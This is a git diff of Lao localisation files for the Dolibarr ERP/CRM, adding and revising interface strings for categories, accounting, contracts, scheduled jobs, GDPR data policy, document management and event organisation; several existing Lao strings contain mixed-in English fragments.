a/htdocs/langs/lo_LA/categories.lang b/htdocs/langs/lo_LA/categories.lang index 4da4f0fc0c3..10b63678e09 100644 --- a/htdocs/langs/lo_LA/categories.lang +++ b/htdocs/langs/lo_LA/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=ສະມາຊິກຄົນນີ້ບໍ່ໄດ້ຢ ContactHasNoCategory=ລາຍຊື່ຜູ້ຕິດຕໍ່ນີ້ບໍ່ໄດ້ຢູ່ໃນແທັກ/categoriesວດູ່ໃດ ProjectHasNoCategory=ໂຄງການນີ້ບໍ່ໄດ້ຢູ່ໃນແທັກ/categoriesວດູ່ໃດ ClassifyInCategory=ເພີ່ມໃສ່ແທັກ/categoryວດູ່ +RemoveCategory=Remove category NotCategorized=ໂດຍບໍ່ມີແທັກ/categoryວດູ່ CategoryExistsAtSameLevel=categoryວດນີ້ມີຢູ່ແລ້ວກັບການອ້າງອີງນີ້ ContentsVisibleByAllShort=ເນື້ອຫາທັງvisibleົດສາມາດເບິ່ງເຫັນໄດ້ໂດຍທຸກຄົນ @@ -67,6 +68,7 @@ StockCategoriesShort=ແທັກ/categoriesວດູ່ສາງ ThisCategoryHasNoItems=categoryວດນີ້ບໍ່ມີລາຍການໃດ. CategId=Tagາຍເລກປະເພດ/categoryວດູ່ ParentCategory=ແທັກ/ParentວດParentູ່ຫຼັກ +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=ປ້າຍ ກຳ ກັບຂອງແທັກ/categoryວດູ່ຫຼັກ CatSupList=ລາຍຊື່ຜູ້ຂາຍແທັກ/categoriesວດູ່ CatCusList=ລາຍຊື່ລູກຄ້າ/ຄວາມສົດໃສດ້ານແທັກ/categoriesວດູ່ @@ -86,15 +88,18 @@ DeleteFromCat=ລຶບອອກຈາກແທັກ/categoryວດູ່ ExtraFieldsCategories=ຄຸນລັກສະນະເສີມ CategoriesSetup=ການຕິດຕັ້ງແທັກ/categoriesວດູ່ CategorieRecursiv=ເຊື່ອມໂຍງກັບແທັກ/categoryວດparentູ່ຫຼັກໂດຍອັດຕະໂນມັດ -CategorieRecursivHelp=ຖ້າເປີດຕົວເລືອກ, ເມື່ອເຈົ້າເພີ່ມສິນຄ້າໃສ່ໃນcວດຍ່ອຍ, ຜະລິດຕະພັນຈະຖືກເພີ່ມເຂົ້າໃນparentວດູ່ຫຼັກ. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=ເພີ່ມຜະລິດຕະພັນ/ການບໍລິການຕໍ່ໄປນີ້ AddCustomerIntoCategory=ຈັດປະເພດໃຫ້ກັບລູກຄ້າ AddSupplierIntoCategory=ມອບcategoryວດໃຫ້ຜູ້ສະ ໜອງ +AssignCategoryTo=Assign category to ShowCategory=ສະແດງແທັກ/categoryວດູ່ ByDefaultInList=ໂດຍຄ່າເລີ່ມຕົ້ນໃນລາຍການ ChooseCategory=ເລືອກປະເພດ StocksCategoriesArea=ປະເພດສາງ +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=EventວດEventູ່ເຫດການ WebsitePagesCategoriesArea=ປະເພດ ໜ້າ ບັນຈຸ KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=ໃຊ້ຕົວ ດຳ ເນີນການ 'OR' ສຳ ລັບcategoriesວດູ່ +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/lo_LA/commercial.lang b/htdocs/langs/lo_LA/commercial.lang index be4cb90e55d..53cceb229d8 100644 --- a/htdocs/langs/lo_LA/commercial.lang +++ b/htdocs/langs/lo_LA/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=ສະຖານະພາບຄວາມສົດໃສດ້ານ DraftPropals=ຮ່າງບົດສະ ເໜີ ການຄ້າ NoLimit=ບໍ່ມີຂີດ ຈຳ ກັດ ToOfferALinkForOnlineSignature=ເຊື່ອມຕໍ່ສໍາລັບລາຍເຊັນອອນໄລນ -WelcomeOnOnlineSignaturePage=ຍິນດີຕ້ອນຮັບສູ່ ໜ້າ ເວັບເພື່ອຮັບເອົາຂໍ້ສະ ເໜີ ທາງການຄ້າຈາກ %s -ThisScreenAllowsYouToSignDocFrom=ໜ້າ ຈໍນີ້ອະນຸຍາດໃຫ້ເຈົ້າຍອມຮັບແລະເຊັນຊື່, ຫຼືປະຕິເສດ, ການສະ ເໜີ ລາຄາ/ການສະ ເໜີ ທາງການຄ້າ -ThisIsInformationOnDocumentToSign=ນີ້ແມ່ນຂໍ້ມູນຢູ່ໃນເອກະສານເພື່ອຍອມຮັບຫຼືປະຕິເສດ +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=ລາຍເຊັນຂອງໃບສະ ເໜີ ລາຄາ/ການສະ ເໜີ ການຄ້າ %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=ຄຸນນະສົມບັດສໍາລັບການປິດການລົງນາມອອນໄລນ or ຫຼືສ້າງເອກະສານກ່ອນທີ່ຈະເປີດການນໍາໃຊ້ຄຸນສົມບັດ diff --git a/htdocs/langs/lo_LA/compta.lang b/htdocs/langs/lo_LA/compta.lang index c57ce0cd794..43e75e9e640 100644 --- a/htdocs/langs/lo_LA/compta.lang +++ b/htdocs/langs/lo_LA/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=ຍອດຄົງເຫຼືອ (ກ່ອນ) Balance=ຍອດເງິນ Debit=ເດບິດ Credit=ສິນເຊື່ອ +AccountingDebit=Debit +AccountingCredit=Credit Piece=ເອກະສານການບັນຊີ. AmountHTVATRealReceived=ເກັບກໍາສຸດທິ AmountHTVATRealPaid=ຈ່າຍສຸດທິ @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=ບໍ່ມີລາຍງ TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=ບໍ່ມີລາຍງານລາຍຮັບຂອງມູນຄ່າການຊື້ຂາຍຕໍ່ອາກອນການຂາຍ. ບົດລາຍງານນີ້ສາມາດໃຊ້ໄດ້ສະເພາະໃບເກັບເງິນລາຍຮັບ. CalculationMode=ຮູບແບບການຄິດໄລ່ AccountancyJournal=ວາລະສານລະຫັດບັນຊີ -ACCOUNTING_VAT_SOLD_ACCOUNT=ບັນຊີບັນຊີຕາມມາດຕະຖານສໍາລັບ VAT ໃນການຂາຍ (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນການຕັ້ງວັດຈະນານຸກົມ VAT) -ACCOUNTING_VAT_BUY_ACCOUNT=ບັນຊີບັນຊີຕາມມາດຕະຖານສໍາລັບ VAT ໃນການຊື້ (ໃຊ້ຖ້າບໍ່ໄດ້ກໍານົດໄວ້ໃນການຕັ້ງວັດຈະນານຸກົມ VAT) -ACCOUNTING_VAT_PAY_ACCOUNT=ບັນຊີບັນຊີໂດຍມາດຕະຖານສໍາລັບການຊໍາລະອາກອນມູນຄ່າເພີ່ມ -ACCOUNTING_ACCOUNT_CUSTOMER=ບັນຊີບັນຊີທີ່ໃຊ້ສໍາລັບລູກຄ້າພາກສ່ວນທີສາມ +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=ບັນຊີການບັນຊີສະເພາະທີ່ໄດ້ກໍານົດໄວ້ຢູ່ໃນບັດຂອງບຸກຄົນທີສາມຈະຖືກນໍາໃຊ້ສໍາລັບບັນຊີ Subledger ເທົ່ານັ້ນ. ອັນນີ້ຈະຖືກໃຊ້ສໍາລັບບັນຊີທົ່ວໄປແລະເປັນຄ່າເລີ່ມຕົ້ນຂອງບັນຊີ Subledger ຖ້າບັນຊີບັນຊີລູກຄ້າທີ່ອຸທິດຕົນຢູ່ໃນພາກສ່ວນທີສາມບໍ່ໄດ້ກໍານົດໄວ້. -ACCOUNTING_ACCOUNT_SUPPLIER=ບັນຊີບັນຊີທີ່ໃຊ້ສໍາລັບຜູ້ຂາຍພາກສ່ວນທີສາມ +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=ບັນຊີການບັນຊີສະເພາະທີ່ໄດ້ກໍານົດໄວ້ຢູ່ໃນບັດຂອງບຸກຄົນທີສາມຈະຖືກນໍາໃຊ້ສໍາລັບບັນຊີ Subledger ເທົ່ານັ້ນ. ອັນນີ້ຈະຖືກໃຊ້ສໍາລັບບັນຊີແຍກປະເພດທົ່ວໄປແລະເປັນຄ່າເລີ່ມຕົ້ນຂອງບັນຊີ Subledger ຖ້າບັນຊີບັນຊີຜູ້ຂາຍສະເພາະໃນພາກສ່ວນທີສາມບໍ່ໄດ້ກໍານົດໄວ້. ConfirmCloneTax=ຢືນຢັນການເກັບອາກອນທາງສັງຄົມ/ງົບປະມານ ConfirmCloneVAT=ຢືນຢັນການໂຄນຂອງການປະກາດ VAT @@ -300,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/lo_LA/contracts.lang b/htdocs/langs/lo_LA/contracts.lang index 2fda76f4179..f560e0304f7 100644 --- a/htdocs/langs/lo_LA/contracts.lang +++ b/htdocs/langs/lo_LA/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=ສັນຍາ/ການສະັກໃຊ້ ContractsAndLine=ສັນຍາແລະເສັ້ນສັນຍາ Contract=ສັນຍາ ContractLine=ສາຍສັນຍາ +ContractLines=Contract lines Closing=ກຳ ລັງປິດ NoContracts=ບໍ່ມີສັນຍາ MenuServices=ການບໍລິການ @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈ MoveToAnotherContract=ຍ້າຍການບໍລິການໄປສູ່ສັນຍາອື່ນ. ConfirmMoveToAnotherContract=ຂ້ອຍເລືອກສັນຍາເປົ້າnewາຍໃand່ແລະຢືນຢັນວ່າຂ້ອຍຕ້ອງການຍ້າຍການບໍລິການນີ້ເຂົ້າໄປໃນສັນຍານີ້. ConfirmMoveToAnotherContractQuestion=ເລືອກສັນຍາທີ່ມີຢູ່ແລ້ວ (ຂອງພາກສ່ວນທີສາມອັນດຽວກັນ), ເຈົ້າຕ້ອງການຍ້າຍການບໍລິການນີ້ໄປຫາບໍ? -PaymentRenewContractId=ຕໍ່ອາຍຸເສັ້ນສັນຍາ (aາຍເລກ %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=ວັນ​ຫມົດ​ອາ​ຍຸ NoExpiredServices=ບໍ່ມີບໍລິການທີ່ ດຳ ເນີນຢູ່iredົດອາຍຸແລ້ວ ListOfServicesToExpireWithDuration=List of Services to expire in %s days @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=ເຊັນການຕິດຕໍ HideClosedServiceByDefault=ເຊື່ອງການບໍລິການທີ່ປິດໄວ້ຕາມຄ່າເລີ່ມຕົ້ນ ShowClosedServices=ສະແດງການບໍລິການທີ່ປິດ HideClosedServices=ເຊື່ອງການບໍລິການທີ່ປິດ +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/lo_LA/cron.lang b/htdocs/langs/lo_LA/cron.lang index e32440347a3..17accf2206c 100644 --- a/htdocs/langs/lo_LA/cron.lang +++ b/htdocs/langs/lo_LA/cron.lang @@ -26,7 +26,7 @@ CronCommand=ຄໍາສັ່ງ CronList=ວຽກທີ່ວາງແຜນໄວ້ CronDelete=ລຶບວຽກທີ່ ກຳ ນົດເວລາໄວ້ CronConfirmDelete=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການລຶບວຽກທີ່ ກຳ ນົດເວລາໄວ້ເຫຼົ່ານີ້? -CronExecute=ເປີດວຽກທີ່ໄດ້ ກຳ ນົດໄວ້ +CronExecute=Launch now CronConfirmExecute=ເຈົ້າແນ່ໃຈບໍວ່າເຈົ້າຕ້ອງການປະຕິບັດວຽກທີ່ກໍານົດເວລາເຫຼົ່ານີ້ດຽວນີ້? CronInfo=ໂມດູນວຽກທີ່ ກຳ ນົດເວລາອະນຸຍາດໃຫ້ຈັດຕາຕະລາງວຽກເພື່ອປະຕິບັດພວກມັນໂດຍອັດຕະໂນມັດ. ວຽກຍັງສາມາດເລີ່ມດ້ວຍຕົນເອງໄດ້. CronTask=ວຽກ @@ -58,7 +58,7 @@ CronNote=ຄໍາເຫັນ CronFieldMandatory=ຊ່ອງຂໍ້ມູນ %s ແມ່ນເປັນຂໍ້ບັງຄັບ CronErrEndDateStartDt=ວັນທີສິ້ນສຸດບໍ່ສາມາດແມ່ນກ່ອນວັນທີເລີ່ມຕົ້ນໄດ້ StatusAtInstall=ສະຖານະການຕິດຕັ້ງໂມດູນ -CronStatusActiveBtn=ຕາຕະລາງ +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=ປິດການນຳໃຊ້ CronTaskInactive=ວຽກນີ້ຖືກປິດການ ນຳ ໃຊ້ (ບໍ່ໄດ້ ກຳ ນົດເວລາ) CronId=ໄອດີ @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=ໄປທີ່ເມນູ " Home JobDisabled=ປິດການໃຊ້ວຽກແລ້ວ MakeLocalDatabaseDumpShort=ການສໍາຮອງຖານຂໍ້ມູນທ້ອງຖິ່ນ MakeLocalDatabaseDump=ສ້າງການຖິ້ມຖານຂໍ້ມູນທ້ອງຖິ່ນ. ພາລາມິເຕີແມ່ນ: ການບີບອັດ ('gz' ຫຼື 'bz' ຫຼື 'ບໍ່ມີ'), ປະເພດການ ສຳ ຮອງຂໍ້ມູນ ('mysql', 'pgsql', 'auto'), 1, 'auto' ຫຼືຊື່ໄຟລ to ທີ່ຈະສ້າງ, ຈຳ ນວນຂອງໄຟລ backup ສຳ ຮອງເພື່ອຮັກສາ. +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=ຄວາມເອົາໃຈໃສ່, ເພື່ອຈຸດປະສົງການປະຕິບັດ, ອັນໃດກໍ່ຕາມແມ່ນວັນຕໍ່ໄປຂອງການປະຕິບັດວຽກທີ່ເປີດໃຊ້ງານ, ວຽກຂອງເຈົ້າອາດຈະຖືກຊັກຊ້າເຖິງສູງສຸດ %s ຊົ່ວໂມງ, ກ່ອນຈະຖືກດໍາເນີນການ. DATAPOLICYJob=ຕົວເຮັດຄວາມສະອາດຂໍ້ມູນແລະຕົວລະບຸຕົວຕົນ JobXMustBeEnabled=ຕ້ອງເປີດການ ນຳ ໃຊ້ວຽກ %s +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=ວຽກປະຕິບັດທີ່ ກຳ ນົດໄວ້ເທື່ອສຸດທ້າຍ NextScheduledJobExecute=ວຽກທີ່ໄດ້ວາງແຜນຕໍ່ໄປເພື່ອປະຕິບັດ NumberScheduledJobError=ຈຳ ນວນຂອງການນັດjobsາຍວຽກຜິດພາດ +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/lo_LA/datapolicy.lang b/htdocs/langs/lo_LA/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/lo_LA/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/lo_LA/ecm.lang b/htdocs/langs/lo_LA/ecm.lang index 972b868c980..df7c04dda17 100644 --- a/htdocs/langs/lo_LA/ecm.lang +++ b/htdocs/langs/lo_LA/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=ປື້ມຄູ່ມື ECMSectionAuto=ລະບົບອັດຕະໂນມັດ ECMSectionsManual=ຕົ້ນໄມ້ຄູ່ມື ECMSectionsAuto=ຕົ້ນໄມ້ອັດຕະໂນມັດ +ECMSectionsMedias=Medias tree ECMSections=ບັນຊີລາຍຊື່ ECMRoot=ຮາກ ECM ECMNewSection=ບັນຊີລາຍການໃຫມ່ @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=ຈໍານວນຂອງໄຟລ in ໃນລາຍກ ECMCreationUser=ຜູ້ສ້າງ ECMArea=ພື້ນທີ່ DMS/ECM ECMAreaDesc=ພື້ນທີ່ DMS / ECM (ລະບົບການຈັດການເອກະສານ / ການຈັດການເນື້ອໃນອີເລັກໂທຣນິກ) ຊ່ວຍໃຫ້ເຈົ້າສາມາດບັນທຶກ, ແບ່ງປັນແລະຄົ້ນຫາເອກະສານທຸກປະເພດຢູ່ໃນ Dolibarr ໄດ້ຢ່າງວ່ອງໄວ. -ECMAreaDesc2=* ບັນຊີລາຍການອັດຕະໂນມັດຈະຖືກຕື່ມໃສ່ໂດຍອັດຕະໂນມັດເມື່ອເພີ່ມເອກະສານຈາກບັດຂອງອົງປະກອບໃດນຶ່ງ.
      * ບັນຊີລາຍການຄູ່ມືສາມາດຖືກນໍາໃຊ້ເພື່ອບັນທຶກເອກະສານທີ່ບໍ່ໄດ້ເຊື່ອມຕໍ່ກັບອົງປະກອບສະເພາະ. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=ບັນຊີລາຍການ %s ໄດ້ຖືກລຶບອອກແລ້ວ. ECMSectionWasCreated=ບັນຊີລາຍຊື່ %s ໄດ້ຖືກສ້າງຂຶ້ນແລ້ວ. ECMSearchByKeywords=ຄົ້ນຫາໂດຍຄໍາສໍາຄັນ diff --git a/htdocs/langs/lo_LA/eventorganization.lang b/htdocs/langs/lo_LA/eventorganization.lang index 3812ff301c5..6595079d40c 100644 --- a/htdocs/langs/lo_LA/eventorganization.lang +++ b/htdocs/langs/lo_LA/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=Event organization Settings=ການຕັ້ງຄ່າ EventOrganizationSetupPage = ໜ້າ ການຕັ້ງອົງການຈັດຕັ້ງເຫດການ EVENTORGANIZATION_TASK_LABEL = ປ້າຍ ກຳ ກັບ ໜ້າ ວຽກເພື່ອສ້າງອັດຕະໂນມັດເມື່ອໂຄງການໄດ້ຮັບການກວດສອບ -EVENTORGANIZATION_TASK_LABELTooltip = ເມື່ອເຈົ້າກວດສອບເຫດການທີ່ມີການຈັດຕັ້ງ, ບາງ ໜ້າ ວຽກສາມາດຖືກສ້າງຂຶ້ນໂດຍອັດຕະໂນມັດໃນໂຄງການ

      ຕົວຢ່າງ:
      ສົ່ງສາຍສໍາລັບກອງປະຊຸມ
      ສົ່ງສາຍສໍາລັບກອງປະຊຸມ
      ຮັບສາຍໂທເຂົ້າກອງປະຊຸມ a034 a0342fccf1919bz0 ຮັບສາຍໂທສໍາລັບກອງປະຊຸມ a034 a344 fc f19 a034 ຈັດການສໍາລັບກອງປະຊຸມ ເຕືອນເຫດການໃຫ້ລໍາໂພງ
      ສົ່ງການເຕືອນເຫດການໃຫ້ Booth hoster
      ສົ່ງເຕືອນເຫດການໃຫ້ກັບຜູ້ເຂົ້າຮ່ວມ +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Categoryວດtoູ່ເພື່ອເພີ່ມໃສ່ພາກສ່ວນທີສາມສ້າງໂດຍອັດຕະໂນມັດເມື່ອມີຄົນແນະ ນຳ ການປະຊຸມ EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Categoryວດtoູ່ເພື່ອເພີ່ມໃສ່ພາກສ່ວນທີສາມສ້າງໂດຍອັດຕະໂນມັດເມື່ອພວກເຂົາແນະ ນຳ ບູດ EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = ແມ່ແບບຂອງອີເມລ send ເພື່ອສົ່ງຫຼັງຈາກໄດ້ຮັບຄໍາແນະນໍາຂອງກອງປະຊຸມ. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= ກອງປະຊຸມຫຼືບູດ +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Manage the organization of an event ConferenceOrBooth = ກອງປະຊຸມຫຼືບູດ ConferenceOrBoothTab = ກອງປະຊຸມຫຼືບູດ AmountPaid = Amount paid DateOfRegistration = Date of registration ConferenceOrBoothAttendee = ຜູ້ເຂົ້າຮ່ວມກອງປະຊຸມຫຼືບູດ +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = ລາຍຊື່ກອງປະຊຸມແນະ ນຳ -ListOfSuggestedBooths = ລາຍຊື່ບູດທີ່ແນະ ນຳ -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = ແນະ ນຳ ການປະຊຸມໃ່ SuggestBooth = ແນະ ນຳ ບູດ ViewAndVote = ເບິ່ງແລະລົງຄະແນນສຽງ ສຳ ລັບເຫດການທີ່ແນະ ນຳ PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event PublicAttendeeSubscriptionPage = Public link for registration to this event only MissingOrBadSecureKey = ກະແຈຄວາມປອດໄພບໍ່ຖືກຕ້ອງຫຼືບໍ່ມີ -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = ກອງປະຊຸມນີ້ເລີ່ມຕົ້ນໃນ %s ແລະສິ້ນສຸດໃນ %s. ConferenceAttendeeFee = ຄ່າທໍານຽມຜູ້ເຂົ້າຮ່ວມກອງປະຊຸມສໍາລັບເຫດການ: '%s' ເກີດຂຶ້ນຈາກ %s ຫາ %s. BoothLocationFee = ສະຖານທີ່ບູດສໍາລັບເຫດການ: '%s' ເກີດຂຶ້ນຈາກ %s ຫາ %s @@ -129,7 +133,7 @@ LabelOfconference=ປ້າຍປະຊຸມ ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet DateMustBeBeforeThan=%s ຕ້ອງແມ່ນກ່ອນ %s DateMustBeAfterThan=%s ຕ້ອງເປັນຫຼັງຈາກ %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registration OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Application for a booth NewSuggestionOfConference=Application for a conference @@ -153,7 +158,7 @@ VoteOk = ການລົງຄະແນນສຽງຂອງທ່ານໄດ AlreadyVoted = ທ່ານໄດ້ໂຫວດໃຫ້ເຫດການນີ້ແລ້ວ. VoteError = ເກີດຄວາມຜິດພາດໃນລະຫວ່າງການລົງຄະແນນສຽງ, ກະລຸນາລອງໃagain່ອີກຄັ້ງ. -SubscriptionOk = Your registration has been validated +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event Attendee = ຜູ້ເຂົ້າຮ່ວມ PaymentConferenceAttendee = ການຈ່າຍເງິນໃຫ້ຜູ້ເຂົ້າຮ່ວມກອງປະຊຸມ @@ -161,7 +166,9 @@ PaymentBoothLocation = ການຊໍາລະສະຖານທີ່ບູດ DeleteConferenceOrBoothAttendee=Remove attendee RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s 